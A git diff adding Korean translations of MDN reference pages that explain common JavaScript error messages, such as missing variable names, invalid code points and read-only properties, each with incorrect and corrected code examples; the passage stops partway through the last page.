index 0000000000..e9d6ec6ee7
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/no_variable_name/index.html
@@ -0,0 +1,79 @@
+---
+title: 'SyntaxError: missing variable name'
+slug: Web/JavaScript/Reference/Errors/No_variable_name
+translation_of: Web/JavaScript/Reference/Errors/No_variable_name
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing variable name (Firefox)
+SyntaxError: Unexpected token = (Chrome)</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘_못_되었을까">무엇이 잘 못 되었을까?</h2>
+
+<p>변수에 이름이 없습니다. 이것은 코드 내의 구문 에러 때문일 수도 있습니다. 어쩌면 콤마를 잘 못 된 곳에 찍었거나, 변수명을 지을 때 애를 먹었을 수도 있습니다. 그럴 수도 있죠! 작명은 너무 어려우니까요. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="이름을_잃은_변수">이름을 잃은 변수</h3>
+
+<pre class="brush: js example-bad">var = "foo";
+</pre>
+
+<p>좋은 이름을 떠올리기 어려웠을 거예요. 우리 모두 겪는 일이죠.</p>
+
+<pre class="brush: js example-good">var ohGodWhy = "foo";</pre>
+
+<h3 id="예약어는_변수명이_될_수_없어요">예약어는 변수명이 될 수 없어요</h3>
+
+<p>예약어로 지정된 이름들이 변수로 쓰여 있습니다. 이것들은 사용할 수 없어요. 미안합니다. :(</p>
+
+<pre class="brush: js example-bad">var debugger = "whoop";
+// SyntaxError: missing variable name
+</pre>
+
+<h3 id="여러_변수를_선언하기">여러 변수를 선언하기</h3>
+
+<p>여러 변수를 한 번에 선언할 때에는 콤마에 주의를 기울여야 합니다. 쓸 데없는 콤마를 더 찍지는 않았는지? 무심코 세미콜론 대신 콤마를 찍지는 않았는지? </p>
+
+<pre class="brush: js example-bad">var x, y = "foo",
+var x, = "foo"
+
+var first = document.getElementById('one'),
+var second = document.getElementById('two'),
+
+// SyntaxError: missing variable name
+</pre>
+
+<p>올바르게 수정한 버전:</p>
+
+<pre class="brush: js example-good">var x, y = "foo";
+var x = "foo";
+
+var first = document.getElementById('one');
+var second = document.getElementById('two');</pre>
+
+<h3 id="배열">배열</h3>
+
+<p>JavaScript 의 {{jsxref("Array")}} 리터럴은 대괄호로 감싸주어야 합니다. 이건 동작하지 않아요.</p>
+
+<pre class="brush: js example-bad">var arr = 1,2,3,4,5;
+// SyntaxError: missing variable name
+</pre>
+
+<p>이렇게 해야 맞습니다:</p>
+
+<pre class="brush: js example-good">var arr = [1,2,3,4,5];</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="http://wiki.c2.com/?GoodVariableNames">Good variable names</a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">Variable declarations in the JavaScript Guide</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/not_a_codepoint/index.html b/files/ko/web/javascript/reference/errors/not_a_codepoint/index.html
new file mode 100644
index 0000000000..782cea10f2
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/not_a_codepoint/index.html
@@ -0,0 +1,51 @@
+---
+title: 'RangeError: argument is not a valid code point'
+slug: Web/JavaScript/Reference/Errors/Not_a_codepoint
+translation_of: Web/JavaScript/Reference/Errors/Not_a_codepoint
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: {0} is not a valid code point (Firefox)
+RangeError: Invalid code point {0} (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>{{jsxref("String.fromCodePoint()")}} 메소드는 유효한 코드 포인트(<a href="https://en.wikipedia.org/wiki/Code_point">code point</a>)만을 받아들입니다.</p>
+
+<p><a href="https://en.wikipedia.org/wiki/Code_point">code point</a>는 유니코드의 코드 스페이스 값으로, <code>0</code>부터 <code>0x10FFFF</code>까지의 정수 범위입니다.</p>
+
+<p>{{jsxref("NaN")}}을 사용하는 값, 음수 (<code>-1</code>),  정수가 아닌 수(3.14), 또는 <code>0x10FFFF</code> (<code>1114111</code>) 보다 큰 값은 이 함수에 적용될 수 없습니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="유효하지_않은_경우">유효하지 않은 경우</h3>
+
+<pre class="brush: js example-bad">String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError</pre>
+
+<h3 id="유효한_경우">유효한 경우</h3>
+
+<pre class="brush: js example-good">String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/not_a_constructor/index.html b/files/ko/web/javascript/reference/errors/not_a_constructor/index.html
new file mode 100644
index 0000000000..80bc235779
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/not_a_constructor/index.html
@@ -0,0 +1,91 @@
+---
+title: 'TypeError: "x" is not a constructor'
+slug: Web/JavaScript/Reference/Errors/Not_a_constructor
+translation_of: Web/JavaScript/Reference/Errors/Not_a_constructor
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">TypeError: "x" is not a constructor
+
+TypeError: Math is not a constructor
+TypeError: JSON is not a constructor
+TypeError: Symbol is not a constructor
+TypeError: Reflect is not a constructor
+TypeError: Intl is not a constructor
+TypeError: SIMD is not a constructor
+TypeError: Atomics is not a constructor
+</pre>
+
+<h2 id="오류_유형">오류 유형</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="뭐가_잘못된_거죠">뭐가 잘못된 거죠?</h2>
+
+<p>객체 혹은 변수를 생성자로 사용하려고 했습니다, 하지만 객체(혹은 변수)가 생성자가 아닙니다. 생성자가 무엇인지에 대한 자세한 정보는 {{Glossary("constructor")}} 혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a> 를 참조하시기 바랍니다.</p>
+
+<p>{{jsxref("String")}} 혹은 {{jsxref("Array")}}와 같이 <code>new</code>,를 사용하여 생성할 수 있는 전역 객체들이 있습니다. 하지만 일부 전역 객체들은 그렇지 않고 속성과 메서드가 정적입니다. 다음의 자바스크립트 표준 내장 객체들은 생성자가 아닙니다: {{jsxref("Math")}}, {{jsxref("JSON")}}, {{jsxref("Symbol")}}, {{jsxref("Reflect")}}, {{jsxref("Intl")}}, {{jsxref("SIMD")}}, {{jsxref("Atomics")}}.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Generator functions</a> 또한 생성자로 사용될 수 없습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="유효하지_않은_경우">유효하지 않은 경우</h3>
+
+<pre class="brush: js example-bad">var Car = 1;
+new Car();
+// TypeError: Car is not a constructor
+
+new Math();
+// TypeError: Math is not a constructor
+
+new Symbol();
+// TypeError: Symbol is not a constructor
+
+function* f() {};
+var obj = new f;
+// TypeError: f is not a constructor
+</pre>
+
+<h3 id="car_생성자">car 생성자</h3>
+
+<p>자동차(car) 객체를 만들고자 한다고 가정합니다. 이 객체의 타입을 <code>car</code>라 하고 make, model, and year 세 개의 프로퍼티를 갖습니다. 이를 위해 다음과 같은 함수를 작성할 것입니다:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>이제 다음과 같이 <code>mycar</code> 라 불리는 객체를 생성할 수 있습니다:</p>
+
+<pre class="brush: js">var mycar = new Car('Eagle', 'Talon TSi', 1993);</pre>
+
+<h3 id="프라미스_이용">프라미스 이용</h3>
+
+<p>즉시 실행되는 프라미스를 반환하는 경우에는 <em>새로운 Promise(...)</em>를 생성할 필요가 없습니다.</p>
+
+<p>아래는 올바른 방법이 아닙니다(<a href="https://developer.mozilla.org/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise#Constructor">프라미스 생성자</a>가 제대로 호출되고 있지 않습니다). <code>TypeError: this is not a constructor</code> 예외를 던지게 됩니다:</p>
+
+<pre class="brush: js example-bad">return new Promise.resolve(true);
+</pre>
+
+<p>대신, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">Promise.resolve()</a> 혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject">Promise.reject()</a> <a href="https://en.wikipedia.org/wiki/Method_(computer_programming)#Static_methods">정적 메서드</a>를 사용하십시오:</p>
+
+<pre class="brush: js">// This is legal, but unnecessarily long:
+return new Promise((resolve, reject) =&gt; { resolve(true); })
+
+// Instead, return the static method:
+return Promise.resolve(true);
+return Promise.reject(false);
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Glossary("constructor")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/not_defined/index.html b/files/ko/web/javascript/reference/errors/not_defined/index.html
new file mode 100644
index 0000000000..6b403dd848
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/not_defined/index.html
@@ -0,0 +1,66 @@
+---
+title: 'ReferenceError: "x" is not defined'
+slug: Web/JavaScript/Reference/Errors/Not_defined
+translation_of: Web/JavaScript/Reference/Errors/Not_defined
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">ReferenceError: "x" is not defined
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>존재하지 않는 변수를 참조하는 곳이 있습니다. 이 변수는 선언되어야 합니다. 또는, 현재 스크립트나 {{Glossary("scope")}} 에서 사용이 가능하도록 해야합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 라이브러리(예를 들면 jQuery와 같은)의 로딩은, 반드시 코드에서  "$"와 같은 라이브러리 변수에 접근하기 이전에 수행되어야 합니다. 라이브러리를 로딩하는 {{HTMLElement("script")}} 태그가 그 변수를 사용하는 코드보다 앞에 위치하도록 하세요.</p>
+</div>
+
+<h2 id="예">예</h2>
+
+<h3 id="선언되지_않은_변수">선언되지 않은 변수</h3>
+
+<pre class="brush: js example-bad">foo.substring(1); // ReferenceError: foo is not defined
+</pre>
+
+<p>"foo" 변수는 어디에도 선언되지 않았습니다. {{jsxref("String.prototype.substring()")}} 메소드가 작동하도록 하기 위해서는 문자열을 필요로 합니다.</p>
+
+<pre class="brush: js example-good">var foo = "bar";
+foo.substring(1); // "ar"</pre>
+
+<h3 id="잘못된_스코프">잘못된 스코프</h3>
+
+<p>변수는 현재의 실행 흐름 내에서 이용 가능해야합니다. 함수 내부에 정의된 변수는 다른 외부의 함수에서는 접근할 수 없습니다. 그 때문에, 변수는 함수의 스코프 내부에서만 정의 됩니다.</p>
+
+<pre class="brush: js example-bad">function numbers () {
+  var num1 = 2,
+      num2 = 3;
+  return num1 + num2;
+}
+
+console.log(num1); // ReferenceError: num1 is not defined</pre>
+
+<p>그러나, 함수는 모든 변수와 정의된 스코프 안에 정의된 함수에 접근할 수 있습니다. 따라서, 전역으로 정의된 함수는 전역에 정의된 모든 변수에도 접근할 수 있습니다.</p>
+
+<pre class="brush: js example-good">var num1 = 2,
+    num2 = 3;
+
+function numbers () {
+  return num1 + num2;
+}
+
+console.log(num1); // 2</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{Glossary("Scope")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declaring_variables">Declaring variables in the JavaScript Guide</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope/en-US/docs/">Function scope in the JavaScript Guide</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/precision_range/index.html b/files/ko/web/javascript/reference/errors/precision_range/index.html
new file mode 100644
index 0000000000..43ab7392e4
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/precision_range/index.html
@@ -0,0 +1,92 @@
+---
+title: 'RangeError: precision is out of range'
+slug: Web/JavaScript/Reference/Errors/Precision_range
+translation_of: Web/JavaScript/Reference/Errors/Precision_range
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: precision {0} out of range (Firefox)
+RangeError: toExponential() argument must be between 0 and 20 (Chrome)
+RangeError: toFixed() digits argument must be between 0 and 20 (Chrome)
+RangeError: toPrecision() argument must be between 1 and 21 (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>아래의 메소드들 중 하나에서,  실행 인자(argument)가 정확도의 범위를 벗어났습니다. :</p>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
+
+<p>이 메소드들에게 허용된 범위는 0부터 20 (또는 21)까지 입니다. 하지만, ECMAScript 스펙은 아래의 범위까지 확장하여 허용하고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Method</th>
+   <th scope="col">Firefox (SpiderMonkey)</th>
+   <th scope="col">Chrome, Opera (V8)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.prototype.toExponential()")}}</td>
+   <td>0 부터 100</td>
+   <td>0 부터 20</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.prototype.toFixed()")}}</td>
+   <td>-20 부터 100</td>
+   <td>0 부터 20</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.prototype.toPrecision()")}}</td>
+   <td>1 부터 100</td>
+   <td>1 부터 21</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예">예</h2>
+
+<h3 id="유효하지_않은_경우">유효하지 않은 경우</h3>
+
+<pre class="brush: js example-bad">77.1234.toExponential(-1);  // RangeError
+77.1234.toExponential(101); // RangeError
+
+2.34.toFixed(-100);         // RangeError
+2.34.toFixed(1001);         // RangeError
+
+1234.5.toPrecision(-1);     // RangeError
+1234.5.toPrecision(101);    // RangeError
+</pre>
+
+<h3 id="유효한_경우">유효한 경우</h3>
+
+<pre class="brush: js example-good">77.1234.toExponential(4); // 7.7123e+1
+77.1234.toExponential(2); // 7.71e+1
+
+2.34.toFixed(1); // 2.3
+2.35.toFixed(1); // 2.4 (note that it rounds up in this case)
+
+5.123456.toPrecision(5); // 5.1235
+5.123456.toPrecision(2); // 5.1
+5.123456.toPrecision(1); // 5
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/property_access_denied/index.html b/files/ko/web/javascript/reference/errors/property_access_denied/index.html
new file mode 100644
index 0000000000..2468d0221a
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/property_access_denied/index.html
@@ -0,0 +1,42 @@
+---
+title: 'Error: Permission denied to access property "x"'
+slug: Web/JavaScript/Reference/Errors/Property_access_denied
+translation_of: Web/JavaScript/Reference/Errors/Property_access_denied
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">Error: Permission denied to access property "x"
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("Error")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>접근이 허가되지 않은 객체에 접근하기 위한 시도가 있었습니다. 아마 동일 출처 정책(<a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>)을 침해하여 다른 도메인으로부터 로드된 {{HTMLElement("iframe")}} 엘리먼트에 대한 것이었을 겁니다.</p>
+
+<h2 id="예">예</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"&gt;&lt;/iframe&gt;
+    &lt;script&gt;
+      onload = function() {
+        console.log(frames[0].document);
+        // Error: Permission denied to access property "document"
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/read-only/index.html b/files/ko/web/javascript/reference/errors/read-only/index.html
new file mode 100644
index 0000000000..7260fd71f8
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/read-only/index.html
@@ -0,0 +1,77 @@
+---
+title: 'TypeError: "x" is read-only'
+slug: Web/JavaScript/Reference/Errors/Read-only
+translation_of: Web/JavaScript/Reference/Errors/Read-only
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">TypeError: "x" is read-only (Firefox)
+TypeError: 0 is read-only (Firefox)
+TypeError: Cannot assign to read only property 'x' of #&lt;Object&gt; (Chrome)
+TypeError: Cannot assign to read only property '0' of [object Array] (Chrome)
+</pre>
+
+<h2 id="에러_유형">에러 유형</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="무엇이_잘못_된_걸까">무엇이 잘못 된 걸까?</h2>
+
+<p>전역변수 또는 객체 프로퍼티가 읽기 전용으로 할당된 경우입니다.(엄밀히 따지자면 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Writable_attribute">쓰기가 불가능한 데이터 속성입니다.</a>)</p>
+
+<p>이 에러는 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">엄격모드</a>에서만 등장합니다.  엄격하지 않은 모드에서는 읽기전용 속성은 묵시적으로 무시됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="적절하지_않은_예">적절하지 않은 예</h3>
+
+<p>읽기 전용 속성은 아주 흔한 것은 아니지만, {{jsxref("Object.defineProperty()")}} 나 {{jsxref("Object.freeze()")}} 를 이용해 만들어 질 수 있습니다.</p>
+
+<pre class="brush: js example-bad">'use strict';
+var obj = Object.freeze({name: 'Elsa', score: 157});
+obj.score = 0;  // TypeError
+
+'use strict';
+Object.defineProperty(this, 'LUNG_COUNT', {value: 2, writable: false});
+LUNG_COUNT = 3;  // TypeError
+
+'use strict';
+var frozenArray = Object.freeze([0, 1, 2]);
+frozenArray[0]++;  // TypeError
+</pre>
+
+<p>자바 스크립트에는 몇 가지 읽기 전용 속성이 내장되어 있습니다. 아마도 수학적 상수를 재정의하려고 한 것 같습니다.</p>
+
+<pre class="brush: js example-bad">'use strict';
+Math.PI = 4;  // TypeError
+</pre>
+
+<p>이렇게는 불가능합니다.</p>
+
+<p>전역변수 <code>undefined</code>  또한 읽기전용으로, 사람들이 모두 좋아하지 않는 "undefined is not a function" 에러가 다음과 같은 경우 등장합니다:</p>
+
+<pre class="brush: js example-bad">'use strict';
+undefined = function() {};  // TypeError: "undefined" is read-only
+</pre>
+
+<h3 id="적절한_예">적절한 예</h3>
+
+<pre class="brush: js example-good">'use strict';
+var obj = Object.freeze({name: 'Score', points: 157});
+obj = {name: obj.name, points: 0};   // replacing it with a new object works
+
+'use strict';
+var LUNG_COUNT = 2;  // a `var` works, because it's not read-only
+LUNG_COUNT = 3;  // ok (anatomically unlikely, though)
+</pre>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li><a href="https://www.answers.com/Q/Which_animals_have_three_lungs">"Which animals have three lungs?" on answers.com</a></li>
+ <li><a href="https://aliens.wikia.com/wiki/Klingon">Klingons</a> (another answer to that query)</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html b/files/ko/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html
new file mode 100644
index 0000000000..53796ea87f
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html
@@ -0,0 +1,83 @@
+---
+title: 'TypeError: Reduce of empty array with no initial value'
+slug: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value
+translation_of: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: 초기값이 없는 빈 배열에 대한 recude는 에러
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>자바스크립크에서 몇 몇의 reduce 함수들:</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}} and</li>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}},  {{jsxref("TypedArray.prototype.reduceRight()")}}).</li>
+</ul>
+
+<p>이러한 함수들은 선택적으로 초기값(<code>initialValue</code>)을 사용합니다.(콜백(<code>callback)</code>의 첫번째 호출에 대한 첫번째 인수로 사용됩니다.) 그러나, 만약에 초기값을 설정하지 않는다면, {{jsxref("Array")}} or {{jsxref("TypedArray")}}에 대한 첫번째 엘리먼트를 초기값으로 사용 합니다. 이런 경우에 초기값이 없기 때문에 빈 배열이 제공될 경우 오류가 발생 합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Invalid_cases">Invalid cases</h3>
+
+<p>This problem appears frequently when combined with a filter ({{jsxref("Array.prototype.filter()")}}, {{jsxref("TypedArray.prototype.filter()")}}) which will remove all elements of the list. Thus leaving none to be used as the initial value.</p>
+
+<pre class="brush: js example-bad">var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x =&gt; x &gt; 0)         // removes all elements
+    .reduce((x, y) =&gt; x + y)    // no more elements to use for the initial value.</pre>
+
+<p>Similarly, the same issue can happen if there is a typo in a selector, or an unexpected number of elements in a list:</p>
+
+<pre class="brush: js example-bad">var names = document.getElementsByClassName("names");
+var name_list = Array.prototype.reduce.call(names, (acc, name) =&gt; acc + ", " + name);
+</pre>
+
+<h3 id="Valid_cases">Valid cases</h3>
+
+<p>These problems can be solved in two different ways.</p>
+
+<p>One way is to actually provide an <code>initialValue</code>  as the neutral element of the operator, such as 0 for the addition, 1 for a multiplication, or an empty string for a concatenation.</p>
+
+<pre class="brush: js example-good">var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x =&gt; x &gt; 0)         // removes all elements
+    .reduce((x, y) =&gt; x + y, 0) // the initial value is the neutral element of the addition
+</pre>
+
+<p>Another way would be two to handle the empty case, either before calling <code>reduce</code>, or in the callback after adding an unexpected dummy initial value.</p>
+
+<pre class="brush: js example-good">var names = document.getElementsByClassName("names");
+
+var name_list1 = "";
+if (names1.length &gt;= 1)
+  name_list1 = Array.prototype.reduce.call(names, (acc, name) =&gt; acc + ", " + name);
+// name_list1 == "" when names is empty.
+
+var name_list2 = Array.prototype.reduce.call(names, (acc, name) =&gt; {
+  if (acc == "") // initial value
+    return name;
+  return acc + ", " + name;
+}, "");
+// name_list2 == "" when names is empty.
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("Array.prototype.filter()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.filter()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/reserved_identifier/index.html b/files/ko/web/javascript/reference/errors/reserved_identifier/index.html
new file mode 100644
index 0000000000..8a1932d9cc
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/reserved_identifier/index.html
@@ -0,0 +1,80 @@
+---
+title: 'SyntaxError: "x" is a reserved identifier'
+slug: Web/JavaScript/Reference/Errors/Reserved_identifier
+tags:
+  - 구문 에러
+  - 예약어
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Reserved_identifier
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: The use of a future reserved word for an identifier is invalid (Edge)
+SyntaxError: "x" is a reserved identifier (Firefox)
+SyntaxError: Unexpected reserved word (Chrome)</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">예약어</a>가 식별자로 쓰인 경우 발생하는 에러입니다. 이 키워드는 엄격(Strict) 모드와 느슨한(Sloppy) 모드에서 모두 예약어로 취급됩니다.</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>다음은 엄격 모드의 코드에서만 예약어로 취급됩니다:</p>
+
+<ul class="threecolumns">
+ <li><code>implements</code></li>
+ <li><code>interface</code></li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li><code>package</code></li>
+ <li><code>private</code></li>
+ <li><code>protected</code></li>
+ <li><code>public</code></li>
+ <li><code>static</code></li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="엄격_모드와_엄격하지_않은_모드에서의_예약어">엄격 모드와 엄격하지 않은 모드에서의 예약어</h3>
+
+<p><code>enum</code> 식별자는 일반적으로 예약되어 있습니다.</p>
+
+<pre class="brush: js example-bad">var enum = { RED: 0, GREEN: 1, BLUE: 2 };
+// SyntaxError: enum is a reserved identifier
+</pre>
+
+<p>엄격 모드의 코드에선 더 많은 식별자들이 예약되어 있습니다.</p>
+
+<pre class="brush: js example-bad">"use strict";
+var package = ["potatoes", "rice", "fries"];
+// SyntaxError: package is a reserved identifier
+</pre>
+
+<p>이 변수들의 이름을 변경해야 합니다.</p>
+
+<pre class="brush: js example-good">var colorEnum = { RED: 0, GREEN: 1, BLUE: 2 };
+var list = ["potatoes", "rice", "fries"];</pre>
+
+<h3 id="오래된_브라우저의_업데이트">오래된 브라우저의 업데이트</h3>
+
+<p>새로운 구문을 사용하기 위해서는 최근 버전의 브라우저로 업데이트 해야 합니다. 예를 들어, 오래된 브라우저를 사용하고 있다면 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 또는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">class</a></code> 구현할 수 없습니다.</p>
+
+<pre class="brush: js">"use strict";
+class DocArchiver {}
+
+// SyntaxError: class is a reserved identifier
+// (오래된 버전의 브라우저에서만 에러가 발생합니다. 예) Firefox 44 이하)
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://wiki.c2.com/?GoodVariableNames">Good variable names</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/resulting_string_too_large/index.html b/files/ko/web/javascript/reference/errors/resulting_string_too_large/index.html
new file mode 100644
index 0000000000..20e28cbe2b
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/resulting_string_too_large/index.html
@@ -0,0 +1,46 @@
+---
+title: 'RangeError: repeat count must be less than infinity'
+slug: Web/JavaScript/Reference/Errors/Resulting_string_too_large
+translation_of: Web/JavaScript/Reference/Errors/Resulting_string_too_large
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: repeat count must be less than infinity and not overflow maximum string size (Firefox)
+(repeat count는 infinity보다 작아야하며, 최대 문자열 크기를 넘길 수 없습니다.)
+
+RangeError: Invalid count value (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
